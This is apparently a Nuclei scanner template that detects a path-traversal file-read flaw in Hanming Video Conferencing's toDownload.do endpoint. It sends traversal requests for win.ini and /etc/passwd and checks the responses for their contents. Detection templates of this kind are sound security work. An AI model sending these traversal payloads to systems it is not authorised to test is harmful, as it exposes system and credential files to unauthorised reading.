id: hanming-lfr

info:
  name: Hanming Video Conferencing - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: Hanming Video Conferencing is vulnerable to local file inclusion.
  reference:
    - https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 2
  tags: lfr,hanming,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini"
      - "{{BaseURL}}/register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: regex
        regex:
          - "root:[x*]:0:0:"
# digest: 4b0a00483046022100efc2cf1e02e2b0a6303ce7eba2cabf7c9d23b4bbc46c6e98cd8ed5159b932178022100f42b19e2ed0ddb358908af83db738bc779fce414287c01bd3efa2c0d7c2f3230:922c64590222798bb761d5b6d8e72950